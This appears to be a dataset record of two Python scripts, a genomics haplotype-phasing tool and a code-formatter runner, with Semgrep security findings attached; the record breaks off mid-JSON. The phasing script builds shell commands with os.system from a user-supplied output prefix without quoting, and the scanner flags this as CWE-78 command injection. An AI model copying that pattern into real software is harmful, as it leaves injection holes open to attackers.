"directory_id": "a8e4280db883d41c0fbf4d45fb034a924a659c24",
"extension": "py",
"filename": "run_phaser.py",
"fork_events_count": 104,
"gha_created_at": 1462824539000,
"gha_event_created_at": 1690163010000,
"gha_language": "Python",
"gha_license_id": "BSD-3-Clause-Clear",
"github_id": 58404754,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5320,
"license": "",
"license_type": "permissive",
"path": "/phasing/run_phaser.py",
"provenance": "stack-edu-0054.json.gz:578709",
"repo_name": "Magdoll/cDNA_Cupcake",
"revision_date": 1665437990000,
"revision_id": "81b7e7f6aeb53e15c11dd30a68a498a58e5f390a",
"snapshot_id": "62dde8da3f695e27b4d69c1f1c4d795feb81379d",
"src_encoding": "UTF-8",
"star_events_count": 247,
"url": "https://raw.githubusercontent.com/Magdoll/cDNA_Cupcake/81b7e7f6aeb53e15c11dd30a68a498a58e5f390a/phasing/run_phaser.py",
"visit_date": "2023-08-09T14:26:17.094176"
} | 2.328125 | stackv2 | #!/usr/bin/env python
__author__ = 'etseng@pacb.com'
import os
import sys
try:
import vcf
except ImportError:
print("Cannot import vcf! Please install pyvcf!", file=sys.stderr)
sys.exit(-1)
from Bio import SeqIO
import phasing.io.SAMMPileUpReader as sp
import phasing.io.MPileUpVariantCaller as VC
from phasing.io import VariantPhaser
from phasing.io import VariantPhaseCleaner
MIN_COVERAGE = 10 # minimum number of FL reads for a gene to do SNP calling and phasing
ERR_SUB = 0.005
MAX_DIFF_ALLOWED = 3 # maximum difference in bases allowed for two haplotype strings
MIN_PERC_ALLOWED = .25 # minimum percent of total count for an allele, can be adjusted by ploidy (ex: n=6, means this goes down to 1/6)
PVAL_CUTOFF = 0.01
MIN_AF_AT_ENDS = 0.10 # minimum minor allele frequency for SNPs at ends, which tend to have unreliable alignments
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument("fastx_filename", help="Input FLNC fasta or fastq")
parser.add_argument("sam_filename")
parser.add_argument("mpileup_filename")
parser.add_argument("read_stat")
parser.add_argument("mapping_filename")
parser.add_argument("-o", "--output_prefix", required=True)
parser.add_argument("--strand", choices=['+', '-'], required=True)
parser.add_argument("--partial_ok", default=False, action="store_true")
parser.add_argument("-p", "--pval_cutoff", default=PVAL_CUTOFF, type=float)
parser.add_argument("--bhFDR", default=None, type=float, help="FDR to be used for the Benjamini–Hochberg correction. Default: None (not used).")
parser.add_argument("-n", "--ploidy", type=int, default=2)
#parser.add_argument("-e", "--err_sub", default=ERR_SUB, type=float, help="Estimated substitution error rate (default: 0.005)")
args = parser.parse_args()
if args.bhFDR is not None:
print("--bhFDR {0} is given! Will be using Benjamini–Hochberg correction insteaad. --pval_cutoff is ignored.".format(args.bhFDR))
# remove potential past run output
past_files = [args.output_prefix+'.NO_SNPS_FOUND',
args.output_prefix+'.NO_HAPS_FOUND',
args.output_prefix+'.log',
args.output_prefix+'.human_readable.txt',
args.output_prefix+'.vcf',
args.output_prefix+'.cleaned.human_readable.txt',
args.output_prefix+'.cleaned.vcf']
for file in past_files:
if os.path.exists(file):
os.remove(file)
# (1) read the mpileup and vall variants
reader = sp.MPileUpReader(args.mpileup_filename)
recs = [r for r in reader]
vc = VC.MPileUPVariant(recs, min_cov=MIN_COVERAGE, err_sub=ERR_SUB, expected_strand=args.strand,
pval_cutoff=args.pval_cutoff,
bhFDR=args.bhFDR)
vc.call_variant()
print(vc.variant)
if len(vc.variant) == 0:
os.system("touch {out}.NO_SNPS_FOUND".format(out=args.output_prefix))
print("No SNPs found. END.", file=sys.stderr)
sys.exit(0)
# (2) for each CCS read, assign a haplotype (or discard if outlier)
pp = VariantPhaser.VariantPhaser(vc)
pp.phase_variant(args.sam_filename, args.fastx_filename, args.output_prefix, partial_ok=args.partial_ok)
pp.haplotypes
pp.haplotypes.get_haplotype_vcf_assignment()
# (3) phase isoforms
seqids = set([r.id for r in SeqIO.parse(open(args.fastx_filename), VariantPhaser.type_fa_or_fq(args.fastx_filename))])
isoform_tally = VariantPhaser.phase_isoforms(args.read_stat, seqids, pp)
if len(isoform_tally) == 0:
os.system("touch {out}.NO_HAPS_FOUND".format(out=args.output_prefix))
print("No good haps found. END.", file=sys.stderr)
sys.exit(0)
pp.haplotypes.write_haplotype_to_vcf(args.mapping_filename, isoform_tally, args.output_prefix)
# (4) clean isoforms
hap_count = VariantPhaseCleaner.make_haplotype_counts(isoform_tally)
# (5) error correct haplotypes
# if diploid, use exhaustive search
# otherwise, use hap counts (ToDo: make this work with exhaustive search later)
variants = [ [base.upper() for base,count in vc.variant[pos]] for pos in pp.accepted_pos]
if args.ploidy == 2 and all(len(vars)==2 for vars in variants):
diff_arr, hap_count_ordered = VariantPhaseCleaner.infer_haplotypes_via_exhaustive_diploid_only(pp.haplotypes, variants)
else:
min_perc_allowed = min(MIN_PERC_ALLOWED, 1/(args.ploidy+4)) # this is a heuristic, allowing for some alleles to be much less expressde than others
diff_arr, hap_count_ordered = VariantPhaseCleaner.infer_haplotypes_via_min_diff(pp.haplotypes.haplotypes, hap_count, args.ploidy, MAX_DIFF_ALLOWED, min_perc_allowed)
if diff_arr is None:
os.system("touch {out}.cleaned.NO_HAPS_FOUND".format(out=args.output_prefix))
print("No good haps found. END.", file=sys.stderr)
sys.exit(0)
m, new_hap, new_isoform_tally = VariantPhaseCleaner.error_correct_haplotypes(pp.haplotypes, isoform_tally, diff_arr, hap_count_ordered)
# write out the mapping relationship between: FL CCS --> (pre-corrected) hap --> error-corrected hap
with open(args.output_prefix+'.cleaned.hap_info.txt', 'w') as f:
f.write("id,hap_preclean,hap_postclean\n")
for seqid, old_i in pp.seq_hap_info.items():
f.write("{0},{1},{2}\n".format(seqid, pp.haplotypes.haplotypes[old_i], new_hap.haplotypes[m[old_i]]))
new_hap.get_haplotype_vcf_assignment()
new_hap.write_haplotype_to_vcf(args.mapping_filename, new_isoform_tally, args.output_prefix+'.cleaned')
| 117 | 44.44 | 169 | 14 | 1,441 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d094ae664a2a78c0_86a263ce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 5, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 70, "col": 5, "offset": 2756}, "end": {"line": 70, "col": 74, "offset": 2825}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_d094ae664a2a78c0_da571d64", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 5, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 70, "col": 5, "offset": 2756}, "end": {"line": 70, "col": 74, "offset": 2825}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d094ae664a2a78c0_b2ff1ddd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 41, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 81, "col": 41, "offset": 3224}, "end": {"line": 81, "col": 66, "offset": 3249}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d094ae664a2a78c0_f8658ca7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 5, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 84, "col": 5, "offset": 3408}, "end": {"line": 84, "col": 74, "offset": 3477}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_d094ae664a2a78c0_0cfeb85d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 5, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 84, "col": 5, "offset": 3408}, "end": {"line": 84, "col": 74, "offset": 3477}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d094ae664a2a78c0_a7c0816d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 5, "column_end": 82, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 104, "col": 5, "offset": 4517}, "end": {"line": 104, "col": 82, "offset": 4594}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_d094ae664a2a78c0_9658d071", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 5, "column_end": 82, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 104, "col": 5, "offset": 4517}, "end": {"line": 104, "col": 82, "offset": 4594}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d094ae664a2a78c0_bf704041", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 110, "line_end": 110, "column_start": 6, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/d094ae664a2a78c0.py", "start": {"line": 110, "col": 6, "offset": 4909}, "end": {"line": 110, "col": 59, "offset": 4962}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.au... | [
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
70,
70,
84,
84,
104,
104
] | [
70,
70,
84,
84,
104,
104
] | [
5,
5,
5,
5,
5,
5
] | [
74,
74,
74,
74,
82,
82
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | run_phaser.py | /phasing/run_phaser.py | Magdoll/cDNA_Cupcake | ||
2024-11-18T20:29:58.995446+00:00 | 1,683,722,855,000 | 36eb4b1a79fffc91136faf747bddbb7727b837c6 | 3 | {
"blob_id": "36eb4b1a79fffc91136faf747bddbb7727b837c6",
"branch_name": "refs/heads/main",
"committer_date": 1683722855000,
"content_id": "df68eead6a84bcb45c5b1875f8069439dcf0b60e",
"detected_licenses": [
"MIT"
],
"directory_id": "834550638ef77699569e9ec49c1a5c4c0ac078a5",
"extension": "py",
"filename": "run_formatter.py",
"fork_events_count": 92,
"gha_created_at": 1411816025000,
"gha_event_created_at": 1683203426000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 24529855,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1759,
"license": "MIT",
"license_type": "permissive",
"path": "/support/run_formatter.py",
"provenance": "stack-edu-0054.json.gz:578747",
"repo_name": "goldmann/docker-squash",
"revision_date": 1683722855000,
"revision_id": "756819b152214ffcab99d53fc0eef58d01ed7828",
"snapshot_id": "c323e33bb1844fe7f7a41b146028ffb6e11db559",
"src_encoding": "UTF-8",
"star_events_count": 676,
"url": "https://raw.githubusercontent.com/goldmann/docker-squash/756819b152214ffcab99d53fc0eef58d01ed7828/support/run_formatter.py",
"visit_date": "2023-09-04T18:21:46.280518"
} | 2.6875 | stackv2 | #!/usr/bin/env python3
"""run_formatter.py - A tool to run the various formatters with the project settings"""
import argparse
import sys
from pathlib import Path
from subprocess import CalledProcessError, run
from docker_squash.image import Chdir
def main(check: bool = False, verbose: bool = False) -> None:
"""Main function
:params check: Flag to return the status without overwriting any file.
"""
options = []
verbose_opt = []
parser = argparse.ArgumentParser(prog="Formatter")
parser.add_argument(
"--check",
required=False,
action="store_true",
help="Don't write the files back, just return the status.",
)
parser.add_argument(
"-v", "--verbose", required=False, action="store_true", help="Verbose output"
)
args = parser.parse_args()
if args.check:
options.append("--check")
if args.verbose:
verbose_opt.append("--verbose")
repo_root = str(Path(__file__).parent.parent)
print(f"Repository root is {repo_root}")
# Run the various formatters, stop on the first error
for formatter in [
["isort"],
["black"],
]:
try:
with Chdir(repo_root):
run(formatter + options + verbose_opt + ["."], check=True)
except CalledProcessError as err:
sys.exit(err.returncode)
# Flake8 does not support a --check flag
for formatter in [
["flake8"],
]:
try:
with Chdir(repo_root):
run(formatter + verbose_opt + ["."], check=True)
except CalledProcessError as err:
sys.exit(err.returncode)
sys.exit(0)
if __name__ == "__main__":
main() # pylint: disable=no-value-for-parameter
| 65 | 26.06 | 87 | 16 | 390 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0b7e95537d1f7fcc_c7115053", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 47, "line_end": 47, "column_start": 17, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/0b7e95537d1f7fcc.py", "start": {"line": 47, "col": 17, "offset": 1234}, "end": {"line": 47, "col": 75, "offset": 1292}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0b7e95537d1f7fcc_d393338d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 17, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", 